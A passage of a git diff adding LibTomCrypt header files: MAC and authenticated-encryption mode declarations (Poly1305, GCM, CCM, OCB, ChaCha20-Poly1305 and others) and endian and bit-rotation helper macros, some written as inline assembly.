unsigned long *maclen); +int poly1305_memory_multi(const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen, const unsigned char *in, unsigned long inlen, ...); +int poly1305_file(const char *fname, const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen); +int poly1305_test(void); +#endif /* LTC_POLY1305 */ + +#ifdef LTC_BLAKE2SMAC +typedef hash_state blake2smac_state; +int blake2smac_init(blake2smac_state *st, unsigned long outlen, const unsigned char *key, unsigned long keylen); +int blake2smac_process(blake2smac_state *st, const unsigned char *in, unsigned long inlen); +int blake2smac_done(blake2smac_state *st, unsigned char *mac, unsigned long *maclen); +int blake2smac_memory(const unsigned char *key, unsigned long keylen, const unsigned char *in, unsigned long inlen, unsigned char *mac, unsigned long *maclen); +int blake2smac_memory_multi(const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen, const unsigned char *in, unsigned long inlen, ...); +int blake2smac_file(const char *fname, const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen); +int blake2smac_test(void); +#endif /* LTC_BLAKE2SMAC */ + +#ifdef LTC_BLAKE2BMAC +typedef hash_state blake2bmac_state; +int blake2bmac_init(blake2bmac_state *st, unsigned long outlen, const unsigned char *key, unsigned long keylen); +int blake2bmac_process(blake2bmac_state *st, const unsigned char *in, unsigned long inlen); +int blake2bmac_done(blake2bmac_state *st, unsigned char *mac, unsigned long *maclen); +int blake2bmac_memory(const unsigned char *key, unsigned long keylen, const unsigned char *in, unsigned long inlen, unsigned char *mac, unsigned long *maclen); +int blake2bmac_memory_multi(const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen, const unsigned char *in, unsigned long inlen, ...); +int blake2bmac_file(const char *fname, const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen); +int blake2bmac_test(void); +#endif /* LTC_BLAKE2BMAC */ + +#ifdef LTC_EAX_MODE + +#if !(defined(LTC_OMAC) && defined(LTC_CTR_MODE)) + #error LTC_EAX_MODE requires LTC_OMAC and CTR +#endif + +typedef struct { + unsigned char N[MAXBLOCKSIZE]; + symmetric_CTR ctr; + omac_state headeromac, ctomac; +} eax_state; + +int eax_init(eax_state *eax, int cipher, const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *header, unsigned long headerlen); + +int eax_encrypt(eax_state *eax, const unsigned char *pt, unsigned char *ct, unsigned long length); +int eax_decrypt(eax_state *eax, const unsigned char *ct, unsigned char *pt, unsigned long length); +int eax_addheader(eax_state *eax, const unsigned char *header, unsigned long length); +int eax_done(eax_state *eax, unsigned char *tag, unsigned long *taglen); + +int eax_encrypt_authenticate_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *header, unsigned long headerlen, + const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen); + +int eax_decrypt_verify_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *header, unsigned long headerlen, + const unsigned char *ct, unsigned long ctlen, + unsigned char *pt, + unsigned char *tag, unsigned long taglen, + int *stat); + + int eax_test(void); +#endif /* EAX MODE */ + +#ifdef LTC_OCB_MODE +typedef struct { + unsigned char L[MAXBLOCKSIZE], /* L value */ + Ls[32][MAXBLOCKSIZE], /* L shifted by i bits to the left */ + Li[MAXBLOCKSIZE], /* value of Li [current value, we calc from previous recall] */ + Lr[MAXBLOCKSIZE], /* L * x^-1 */ + R[MAXBLOCKSIZE], /* R value */ + checksum[MAXBLOCKSIZE]; /* current checksum */ + + symmetric_key key; /* scheduled key for cipher */ + unsigned long block_index; /* index # for current block */ + int cipher, /* cipher idx */ + block_len; /* length of block */ +} ocb_state; + +int ocb_init(ocb_state *ocb, int cipher, + const unsigned char *key, unsigned long keylen, const unsigned char *nonce); + +int ocb_encrypt(ocb_state *ocb, const unsigned char *pt, unsigned char *ct); +int ocb_decrypt(ocb_state *ocb, const unsigned char *ct, unsigned char *pt); + +int ocb_done_encrypt(ocb_state *ocb, + const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen); + +int ocb_done_decrypt(ocb_state *ocb, + const unsigned char *ct, unsigned long ctlen, + unsigned char *pt, + const unsigned char *tag, unsigned long taglen, int *stat); + +int ocb_encrypt_authenticate_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, + const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen); + +int ocb_decrypt_verify_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, + const unsigned char *ct, unsigned long ctlen, + unsigned char *pt, + const unsigned char *tag, unsigned long taglen, + int *stat); + +int ocb_test(void); + +/* internal functions */ +void ocb_shift_xor(ocb_state *ocb, unsigned char *Z); +int ocb_ntz(unsigned long x); +int s_ocb_done(ocb_state *ocb, const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, unsigned char *tag, unsigned long *taglen, int mode); + +#endif /* LTC_OCB_MODE */ + +#ifdef LTC_OCB3_MODE +typedef struct { + unsigned char Offset_0[MAXBLOCKSIZE], /* Offset_0 value */ + Offset_current[MAXBLOCKSIZE], /* Offset_{current_block_index} value */ + L_dollar[MAXBLOCKSIZE], /* L_$ value */ + L_star[MAXBLOCKSIZE], /* L_* value */ + L_[32][MAXBLOCKSIZE], /* L_{i} values */ + tag_part[MAXBLOCKSIZE], /* intermediate result of tag calculation */ + checksum[MAXBLOCKSIZE]; /* current checksum */ + + /* AAD related members */ + unsigned char aSum_current[MAXBLOCKSIZE], /* AAD related helper variable */ + aOffset_current[MAXBLOCKSIZE], /* AAD related helper variable */ + adata_buffer[MAXBLOCKSIZE]; /* AAD buffer */ + int adata_buffer_bytes; /* bytes in AAD buffer */ + unsigned long ablock_index; /* index # for current adata (AAD) block */ + + symmetric_key key; /* scheduled key for cipher */ + unsigned long block_index; /* index # for current data block */ + int cipher, /* cipher idx */ + tag_len, /* length of tag */ + block_len; /* length of block */ +} ocb3_state; + +int ocb3_init(ocb3_state *ocb, int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + unsigned long taglen); + +int ocb3_encrypt(ocb3_state *ocb, const unsigned char *pt, unsigned long ptlen, unsigned char *ct); +int ocb3_decrypt(ocb3_state *ocb, const unsigned char *ct, unsigned long ctlen, unsigned char *pt); +int ocb3_encrypt_last(ocb3_state *ocb, const unsigned char *pt, unsigned long ptlen, unsigned char *ct); +int ocb3_decrypt_last(ocb3_state *ocb, const unsigned char *ct, unsigned long ctlen, unsigned char *pt); +int ocb3_add_aad(ocb3_state *ocb, const unsigned char *aad, unsigned long aadlen); +int ocb3_done(ocb3_state *ocb, unsigned char *tag, unsigned long *taglen); + +int ocb3_encrypt_authenticate_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *adata, unsigned long adatalen, + const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen); + +int ocb3_decrypt_verify_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *adata, unsigned long adatalen, + const unsigned char *ct, unsigned long ctlen, + unsigned char *pt, + const unsigned char *tag, unsigned long taglen, + int *stat); + +int ocb3_test(void); + +#ifdef LTC_SOURCE +/* internal helper functions */ +int ocb3_int_ntz(unsigned long x); +void ocb3_int_xor_blocks(unsigned char *out, const unsigned char *block_a, const unsigned char *block_b, unsigned long block_len); +#endif /* LTC_SOURCE */ + +#endif /* LTC_OCB3_MODE */ + +#ifdef LTC_CCM_MODE + +#define CCM_ENCRYPT LTC_ENCRYPT +#define CCM_DECRYPT LTC_DECRYPT + +typedef struct { + symmetric_key K; + int cipher, /* which cipher */ + taglen, /* length of the tag */ + x; /* index in PAD */ + + unsigned long L, /* L value */ + ptlen, /* length that will be enc / dec */ + current_ptlen, /* current processed length */ + aadlen, /* length of the aad */ + current_aadlen, /* length of the currently provided add */ + noncelen; /* length of the nonce */ + + unsigned char PAD[16], + ctr[16], + CTRPAD[16], + CTRlen; +} ccm_state; + +int ccm_init(ccm_state *ccm, int cipher, + const unsigned char *key, int keylen, int ptlen, int taglen, int aad_len); + +int ccm_reset(ccm_state *ccm); + +int ccm_add_nonce(ccm_state *ccm, + const unsigned char *nonce, unsigned long noncelen); + +int ccm_add_aad(ccm_state *ccm, + const unsigned char *adata, unsigned long adatalen); + +int ccm_process(ccm_state *ccm, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + int direction); + +int ccm_done(ccm_state *ccm, + unsigned char *tag, unsigned long *taglen); + +int ccm_memory(int cipher, + const unsigned char *key, unsigned long keylen, + symmetric_key *uskey, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *header, unsigned long headerlen, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen, + int direction); + +int ccm_test(void); + +#endif /* LTC_CCM_MODE */ + +#if defined(LRW_MODE) || defined(LTC_GCM_MODE) +void gcm_gf_mult(const unsigned char *a, const unsigned char *b, unsigned char *c); +#endif + + +/* table shared between GCM and LRW */ +#if defined(LTC_GCM_TABLES) || defined(LTC_LRW_TABLES) || ((defined(LTC_GCM_MODE) || defined(LTC_GCM_MODE)) && defined(LTC_FAST)) +extern const unsigned char gcm_shift_table[]; +#endif + +#ifdef LTC_GCM_MODE + +#define GCM_ENCRYPT LTC_ENCRYPT +#define GCM_DECRYPT LTC_DECRYPT + +#define LTC_GCM_MODE_IV 0 +#define LTC_GCM_MODE_AAD 1 +#define LTC_GCM_MODE_TEXT 2 + +typedef struct { + symmetric_key K; + unsigned char H[16], /* multiplier */ + X[16], /* accumulator */ + Y[16], /* counter */ + Y_0[16], /* initial counter */ + buf[16]; /* buffer for stuff */ + + int cipher, /* which cipher */ + ivmode, /* Which mode is the IV in? */ + mode, /* mode the GCM code is in */ + buflen; /* length of data in buf */ + + ulong64 totlen, /* 64-bit counter used for IV and AAD */ + pttotlen; /* 64-bit counter for the PT */ + +#ifdef LTC_GCM_TABLES + unsigned char PC[16][256][16] /* 16 tables of 8x128 */ +#ifdef LTC_GCM_TABLES_SSE2 +__attribute__ ((aligned (16))) +#endif +; +#endif +} gcm_state; + +void gcm_mult_h(gcm_state *gcm, unsigned char *I); + +int gcm_init(gcm_state *gcm, int cipher, + const unsigned char *key, int keylen); + +int gcm_reset(gcm_state *gcm); + +int gcm_add_iv(gcm_state *gcm, + const unsigned char *IV, unsigned long IVlen); + +int gcm_add_aad(gcm_state *gcm, + const unsigned char *adata, unsigned long adatalen); + +int gcm_process(gcm_state *gcm, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + int direction); + +int gcm_done(gcm_state *gcm, + unsigned char *tag, unsigned long *taglen); + +int gcm_memory( int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *IV, unsigned long IVlen, + const unsigned char *adata, unsigned long adatalen, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen, + int direction); +int gcm_test(void); + +#endif /* LTC_GCM_MODE */ + +#ifdef LTC_PELICAN + +typedef struct pelican_state +{ + symmetric_key K; + unsigned char state[16]; + int buflen; +} pelican_state; + +int pelican_init(pelican_state *pelmac, const unsigned char *key, unsigned long keylen); +int pelican_process(pelican_state *pelmac, const unsigned char *in, unsigned long inlen); +int pelican_done(pelican_state *pelmac, unsigned char *out); +int pelican_test(void); + +int pelican_memory(const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out); + +#endif + +#ifdef LTC_XCBC + +/* add this to "keylen" to xcbc_init to use a pure three-key XCBC MAC */ +#define LTC_XCBC_PURE 0x8000UL + +typedef struct { + unsigned char K[3][MAXBLOCKSIZE], + IV[MAXBLOCKSIZE]; + + symmetric_key key; + + int cipher, + buflen, + blocksize; +} xcbc_state; + +int xcbc_init(xcbc_state *xcbc, int cipher, const unsigned char *key, unsigned long keylen); +int xcbc_process(xcbc_state *xcbc, const unsigned char *in, unsigned long inlen); +int xcbc_done(xcbc_state *xcbc, unsigned char *out, unsigned long *outlen); +int xcbc_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int xcbc_memory_multi(int cipher, + const unsigned char *key, unsigned long keylen, + unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); +int xcbc_file(int cipher, + const unsigned char *key, unsigned long keylen, + const char *filename, + unsigned char *out, unsigned long *outlen); +int xcbc_test(void); + +#endif + +#ifdef LTC_F9_MODE + +typedef struct { + unsigned char akey[MAXBLOCKSIZE], + ACC[MAXBLOCKSIZE], + IV[MAXBLOCKSIZE]; + + symmetric_key key; + + int cipher, + buflen, + keylen, + blocksize; +} f9_state; + +int f9_init(f9_state *f9, int cipher, const unsigned char *key, unsigned long keylen); +int f9_process(f9_state *f9, const unsigned char *in, unsigned long inlen); +int f9_done(f9_state *f9, unsigned char *out, unsigned long *outlen); +int f9_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int f9_memory_multi(int cipher, + const unsigned char *key, unsigned long keylen, + unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); +int f9_file(int cipher, + const unsigned char *key, unsigned long keylen, + const char *filename, + unsigned char *out, unsigned long *outlen); +int f9_test(void); + +#endif + +#ifdef LTC_CHACHA20POLY1305_MODE + +typedef struct { + poly1305_state poly; + chacha_state chacha; + ulong64 aadlen; + ulong64 ctlen; + int aadflg; +} chacha20poly1305_state; + +#define CHACHA20POLY1305_ENCRYPT LTC_ENCRYPT +#define CHACHA20POLY1305_DECRYPT LTC_DECRYPT + +int chacha20poly1305_init(chacha20poly1305_state *st, const unsigned char *key, unsigned long keylen); +int chacha20poly1305_setiv(chacha20poly1305_state *st, const unsigned char *iv, unsigned long ivlen); +int chacha20poly1305_setiv_rfc7905(chacha20poly1305_state *st, const unsigned char *iv, unsigned long ivlen, ulong64 sequence_number); +int chacha20poly1305_add_aad(chacha20poly1305_state *st, const unsigned char *in, unsigned long inlen); +int chacha20poly1305_encrypt(chacha20poly1305_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out); +int chacha20poly1305_decrypt(chacha20poly1305_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out); +int chacha20poly1305_done(chacha20poly1305_state *st, unsigned char *tag, unsigned long *taglen); +int chacha20poly1305_memory(const unsigned char *key, unsigned long keylen, + const unsigned char *iv, unsigned long ivlen, + const unsigned char *aad, unsigned long aadlen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, + unsigned char *tag, unsigned long *taglen, + int direction); +int chacha20poly1305_test(void); + +#endif /* LTC_CHACHA20POLY1305_MODE */ + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_macros.h b/include/tomcrypt_macros.h new file mode 100644 index 0000000..a3a335e --- /dev/null +++ b/include/tomcrypt_macros.h @@ -0,0 +1,446 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- HELPER MACROS ---- */ +#ifdef ENDIAN_NEUTRAL + +#define STORE32L(x, y) \ + do { (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \ + (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0) + +#define LOAD32L(x, y) \ + do { x = ((ulong32)((y)[3] & 255)<<24) | \ + ((ulong32)((y)[2] & 255)<<16) | \ + ((ulong32)((y)[1] & 255)<<8) | \ + ((ulong32)((y)[0] & 255)); } while(0) + +#define STORE64L(x, y) \ + do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \ + (y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \ + (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \ + (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0) + +#define LOAD64L(x, y) \ + do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48)| \ + (((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32)| \ + (((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16)| \ + (((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0) + +#define STORE32H(x, y) \ + do { (y)[0] = (unsigned char)(((x)>>24)&255); (y)[1] = (unsigned char)(((x)>>16)&255); \ + (y)[2] = (unsigned char)(((x)>>8)&255); (y)[3] = (unsigned char)((x)&255); } while(0) + +#define LOAD32H(x, y) \ + do { x = ((ulong32)((y)[0] & 255)<<24) | \ + ((ulong32)((y)[1] & 255)<<16) | \ + ((ulong32)((y)[2] & 255)<<8) | \ + ((ulong32)((y)[3] & 255)); } while(0) + +#define STORE64H(x, y) \ +do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \ + (y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \ + (y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \ + (y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0) + +#define LOAD64H(x, y) \ +do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48) | \ + (((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32) | \ + (((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16) | \ + (((ulong64)((y)[6] & 255))<<8)|(((ulong64)((y)[7] & 255))); } while(0) + + +#elif defined(ENDIAN_LITTLE) + +#ifdef LTC_HAVE_BSWAP_BUILTIN + +#define STORE32H(x, y) \ +do { ulong32 __t = __builtin_bswap32 ((x)); \ + XMEMCPY ((y), &__t, 4); } while(0) + +#define LOAD32H(x, y) \ +do { XMEMCPY (&(x), (y), 4); \ + (x) = __builtin_bswap32 ((x)); } while(0) + +#elif !defined(LTC_NO_BSWAP) && (defined(INTEL_CC) || (defined(__GNUC__) && (defined(__DJGPP__) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__i386__) || defined(__x86_64__)))) + +#define STORE32H(x, y) \ +asm __volatile__ ( \ + "bswapl %0 \n\t" \ + "movl %0,(%1)\n\t" \ + "bswapl %0 \n\t" \ + ::"r"(x), "r"(y)); + +#define LOAD32H(x, y) \ +asm __volatile__ ( \ + "movl (%1),%0\n\t" \ + "bswapl %0\n\t" \ + :"=r"(x): "r"(y)); + +#else + +#define STORE32H(x, y) \ + do { (y)[0] = (unsigned char)(((x)>>24)&255); (y)[1] = (unsigned char)(((x)>>16)&255); \ + (y)[2] = (unsigned char)(((x)>>8)&255); (y)[3] = (unsigned char)((x)&255); } while(0) + +#define LOAD32H(x, y) \ + do { x = ((ulong32)((y)[0] & 255)<<24) | \ + ((ulong32)((y)[1] & 255)<<16) | \ + ((ulong32)((y)[2] & 255)<<8) | \ + ((ulong32)((y)[3] & 255)); } while(0) + +#endif + +#ifdef LTC_HAVE_BSWAP_BUILTIN + +#define STORE64H(x, y) \ +do { ulong64 __t = __builtin_bswap64 ((x)); \ + XMEMCPY ((y), &__t, 8); } while(0) + +#define LOAD64H(x, y) \ +do { XMEMCPY (&(x), (y), 8); \ + (x) = __builtin_bswap64 ((x)); } while(0) + +/* x86_64 processor */ +#elif !defined(LTC_NO_BSWAP) && (defined(__GNUC__) && defined(__x86_64__)) + +#define STORE64H(x, y) \ +asm __volatile__ ( \ + "bswapq %0 \n\t" \ + "movq %0,(%1)\n\t" \ + "bswapq %0 \n\t" \ + ::"r"(x), "r"(y): "memory"); + +#define LOAD64H(x, y) \ +asm __volatile__ ( \ + "movq (%1),%0\n\t" \ + "bswapq %0\n\t" \ + :"=r"(x): "r"(y): "memory"); + +#else + +#define STORE64H(x, y) \ +do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \ + (y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \ + (y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \ + (y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0) + +#define LOAD64H(x, y) \ +do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48) | \ + (((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32) | \ + (((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16) | \ + (((ulong64)((y)[6] & 255))<<8)|(((ulong64)((y)[7] & 255))); } while(0) + +#endif + +#ifdef ENDIAN_32BITWORD + +#define STORE32L(x, y) \ + do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0) + +#define LOAD32L(x, y) \ + do { XMEMCPY(&(x), y, 4); } while(0) + +#define STORE64L(x, y) \ + do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \ + (y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \ + (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \ + (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0) + +#define LOAD64L(x, y) \ + do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48)| \ + (((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32)| \ + (((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16)| \ + (((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0) + +#else /* 64-bit words then */ + +#define STORE32L(x, y) \ + do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0) + +#define LOAD32L(x, y) \ + do { XMEMCPY(&(x), y, 4); x &= 0xFFFFFFFF; } while(0) + +#define STORE64L(x, y) \ + do { ulong64 __t = (x); XMEMCPY(y, &__t, 8); } while(0) + +#define LOAD64L(x, y) \ + do { XMEMCPY(&(x), y, 8); } while(0) + +#endif /* ENDIAN_64BITWORD */ + +#elif defined(ENDIAN_BIG) + +#define STORE32L(x, y) \ + do { (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \ + (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0) + +#define LOAD32L(x, y) \ + do { x = ((ulong32)((y)[3] & 255)<<24) | \ + ((ulong32)((y)[2] & 255)<<16) | \ + ((ulong32)((y)[1] & 255)<<8) | \ + ((ulong32)((y)[0] & 255)); } while(0) + +#define STORE64L(x, y) \ +do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \ + (y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \ + (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \ + (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0) + +#define LOAD64L(x, y) \ +do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48) | \ + (((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32) | \ + (((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16) | \ + (((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0) + +#ifdef ENDIAN_32BITWORD + +#define STORE32H(x, y) \ + do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0) + +#define LOAD32H(x, y) \ + do { XMEMCPY(&(x), y, 4); } while(0) + +#define STORE64H(x, y) \ + do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \ + (y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \ + (y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \ + (y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0) + +#define LOAD64H(x, y) \ + do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48)| \ + (((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32)| \ + (((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16)| \ + (((ulong64)((y)[6] & 255))<<8)| (((ulong64)((y)[7] & 255))); } while(0) + +#else /* 64-bit words then */ + +#define STORE32H(x, y) \ + do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0) + +#define LOAD32H(x, y) \ + do { XMEMCPY(&(x), y, 4); x &= 0xFFFFFFFF; } while(0) + +#define STORE64H(x, y) \ + do { ulong64 __t = (x); XMEMCPY(y, &__t, 8); } while(0) + +#define LOAD64H(x, y) \ + do { XMEMCPY(&(x), y, 8); } while(0) + +#endif /* ENDIAN_64BITWORD */ +#endif /* ENDIAN_BIG */ + +#define BSWAP(x) ( ((x>>24)&0x000000FFUL) | ((x<<24)&0xFF000000UL) | \ + ((x>>8)&0x0000FF00UL) | ((x<<8)&0x00FF0000UL) ) + + +/* 32-bit Rotates */ +#if defined(_MSC_VER) +#define LTC_ROx_ASM + +/* instrinsic rotate */ +#include +#pragma intrinsic(_lrotr,_lrotl) +#define ROR(x,n) _lrotr(x,n) +#define ROL(x,n) _lrotl(x,n) +#define RORc(x,n) _lrotr(x,n) +#define ROLc(x,n) _lrotl(x,n) + +#elif !defined(__STRICT_ANSI__) && defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) && !defined(INTEL_CC) && !defined(LTC_NO_ASM) +#define LTC_ROx_ASM + +static inline ulong32 ROL(ulong32 word, int i) +{ + asm ("roll %%cl,%0" + :"=r" (word) + :"0" (word),"c" (i)); + return word; +} + +static inline ulong32 ROR(ulong32 word, int i) +{ + asm ("rorl %%cl,%0" + :"=r" (word) + :"0" (word),"c" (i)); + return word; +} + +#ifndef LTC_NO_ROLC + +#define ROLc(word,i) ({ \ + ulong32 __ROLc_tmp = (word); \ + __asm__ ("roll %2, %0" : \ + "=r" (__ROLc_tmp) : \ + "0" (__ROLc_tmp), \ + "I" (i)); \ + __ROLc_tmp; \ + }) +#define RORc(word,i) ({ \ + ulong32 __RORc_tmp = (word); \ + __asm__ ("rorl %2, %0" : \ + "=r" (__RORc_tmp) : \ + "0" (__RORc_tmp), \ + "I" (i)); \ + __RORc_tmp; \ + }) + +#else + +#define ROLc ROL +#define RORc ROR + +#endif + +#elif !defined(__STRICT_ANSI__) && defined(LTC_PPC32) +#define LTC_ROx_ASM + +static inline ulong32 ROL(ulong32 word, int i) +{ + asm ("rotlw %0,%0,%2" + :"=r" (word) + :"0" (word),"r" (i)); + return word; +} + +static inline ulong32 ROR(ulong32 word, int i) +{ + asm ("rotlw %0,%0,%2" + :"=r" (word) + :"0" (word),"r" (32-i)); + return word; +} + +#ifndef LTC_NO_ROLC + +static inline ulong32 ROLc(ulong32 word, const int i) +{ + asm ("rotlwi %0,%0,%2" + :"=r" (word) + :"0" (word),"I" (i)); + return word; +} + +static inline ulong32 RORc(ulong32 word, const int i) +{ + asm ("rotrwi %0,%0,%2" + :"=r" (word) + :"0" (word),"I" (i)); + return word; +} + +#else + +#define ROLc ROL +#define RORc ROR + +#endif + + +#else + +/* rotates the hard way */ +#define ROL(x, y) ( (((ulong32)(x)<<(ulong32)((y)&31)) | (((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL) +#define ROR(x, y) ( ((((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((y)&31)) | ((ulong32)(x)<<(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL) +#define ROLc(x, y) ( (((ulong32)(x)<<(ulong32)((y)&31)) | (((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL) +#define RORc(x, y) ( ((((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((y)&31)) | ((ulong32)(x)<<(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL) + +#endif + + +/* 64-bit Rotates */ +#if !defined(__STRICT_ANSI__) && defined(__GNUC__) && defined(__x86_64__) && !defined(_WIN64) && !defined(LTC_NO_ASM) + +static inline ulong64 ROL64(ulong64 word, int i) +{ + asm("rolq %%cl,%0" + :"=r" (word) + :"0" (word),"c" (i)); + return word; +} + +static inline ulong64 ROR64(ulong64 word, int i) +{ + asm("rorq %%cl,%0" + :"=r" (word) + :"0" (word),"c" (i)); + return word; +} + +#ifndef LTC_NO_ROLC + +#define ROL64c(word,i) ({ \ + ulong64 __ROL64c_tmp = word; \ + __asm__ ("rolq %2, %0" 